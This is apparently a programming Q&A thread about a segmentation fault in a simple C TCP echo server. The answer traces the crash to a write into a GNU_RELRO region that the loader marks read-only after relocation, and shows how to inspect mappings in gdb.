0x805468e: mov 0x78(%esp),%edx
0x8054692: mov %eax,0x80ff1c8
==> 0x8054697: mov %edx,0x80f8f5c
0x805469d: lea 0x0(%esi),%esi
Is there a way in gdb to figure out if the address is mapped as readonly or not?
What could be the reason for this Segmentation fault?
C Code
/*
ECHOSERV.C
==========
(c) Paul Griffiths, 1999
Email: mail#paulgriffiths.net
Simple TCP/IP echo server.
*/
#include <sys/socket.h> /* socket definitions */
#include <sys/types.h> /* socket types */
#include <arpa/inet.h> /* inet (3) functions */
#include <unistd.h> /* misc. UNIX functions */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "helper.h"
#define LOG_FILE "test_disk.txt"
/* Global constants */
#define ECHO_PORT (20002)
#define MAX_LINE (1000)
int main(int argc, char *argv[]) {
int list_s; /* listening socket */
int conn_s; /* connection socket */
short int port; /* port number */
struct sockaddr_in servaddr; /* socket address structure */
char buffer[MAX_LINE]; /* character buffer */
char *endptr; /* for strtol() */
int file_fd = open(LOG_FILE, O_WRONLY|O_CREAT);
/* Get port number from the command line, and
set to default port if no arguments were supplied */
if ( argc == 2 ) {
port = strtol(argv[1], &endptr, 0);
if ( *endptr ) {
fprintf(stderr, "ECHOSERV: Invalid port number.\n");
exit(EXIT_FAILURE);
}
}
else if ( argc < 2 ) {
port = ECHO_PORT;
}
else {
fprintf(stderr, "ECHOSERV: Invalid arguments.\n");
exit(EXIT_FAILURE);
}
/* Create the listening socket */
if ( (list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
fprintf(stderr, "ECHOSERV: Error creating listening socket.\n");
exit(EXIT_FAILURE);
}
/* Set all bytes in socket address structure to
zero, and fill in the relevant data members */
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port);
/* Bind our socket addresss to the
listening socket, and call listen() */
if ( bind(list_s, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 ) {
fprintf(stderr, "ECHOSERV: Error calling bind()\n");
exit(EXIT_FAILURE);
}
if ( listen(list_s, LISTENQ) < 0 ) {
fprintf(stderr, "ECHOSERV: Error calling listen()\n");
exit(EXIT_FAILURE);
}
/* Enter an infinite loop to respond
to client requests and echo input */
while ( 1 ) {
/* Wait for a connection, then accept() it */
if ( (conn_s = accept(list_s, NULL, NULL) ) < 0 ) {
fprintf(stderr, "ECHOSERV: Error calling accept()\n");
exit(EXIT_FAILURE);
}
/* Retrieve an input line from the connected socket
then simply write it back to the same socket. */
Readline(conn_s, buffer, MAX_LINE-1);
Writeline(conn_s, buffer, strlen(buffer));
Writeline(file_fd, buffer, strlen(buffer));
printf("%s\n", buffer);
/* Close the connected socket */
if ( close(conn_s) < 0 ) {
fprintf(stderr, "ECHOSERV: Error calling close()\n");
exit(EXIT_FAILURE);
}
}
}
/*
HELPER.C
========
(c) Paul Griffiths, 1999
Email: mail#paulgriffiths.net
Implementation of sockets helper functions.
Many of these functions are adapted from, inspired by, or
otherwise shamelessly plagiarised from "Unix Network
Programming", W Richard Stevens (Prentice Hall).
*/
#include "helper.h"
#include <sys/socket.h>
#include <unistd.h>
#include <errno.h>
/* Read a line from a socket */
ssize_t Readline(int sockd, void *vptr, size_t maxlen) {
ssize_t n, rc;
char c, *buffer;
buffer = (char *)vptr;
for ( n = 1; n < maxlen; n++ ) {
if ( (rc = read(sockd, &c, 1)) == 1 ) {
*buffer++ = c;
if ( c == '\n' )
break;
}
else if ( rc == 0 ) {
if ( n == 1 )
return 0;
else
break;
}
else {
if ( errno == EINTR )
continue;
return -1;
}
}
*buffer = 0;
return n;
}
/* Write a line to a socket */
ssize_t Writeline(int sockd, const void *vptr, size_t n) {
size_t nleft;
ssize_t nwritten;
const char *buffer;
buffer = (const char *)vptr;
nleft = n;
while ( nleft > 0 ) {
if ( (nwritten = write(sockd, buffer, nleft)) <= 0 ) {
if ( errno == EINTR )
nwritten = 0;
else
return -1;
}
nleft -= nwritten;
buffer += nwritten;
}
return n;
}
But, the destination address of this instruction is a valid address and this memory is mapped as writable.
Not it's not (or the instruction wouldn't have caused a SIGSEGV).
The destination 0x80f8f5c is "covered" by this LOAD segment:
LOAD 0x0b06dc 0x080f86dc 0x080f86dc 0x015f8 0x07730 RW 0x1000
but also by this:
GNU_RELRO 0x0b06dc 0x080f86dc 0x080f86dc 0x00924 0x00924 R 0x1
the GNU_RELRO asks the runtime loader to make this part of address space read-only after the loader has performed the relocation (which is exactly what it did, and what triggered your crash).
Is there a way in gdb to figure out if the address is mapped as readonly or not?
You can ask gdb with info proc map, or just look in /proc/<pid>/maps. Either way you'll discover that the memory is mapped read-only.

Resources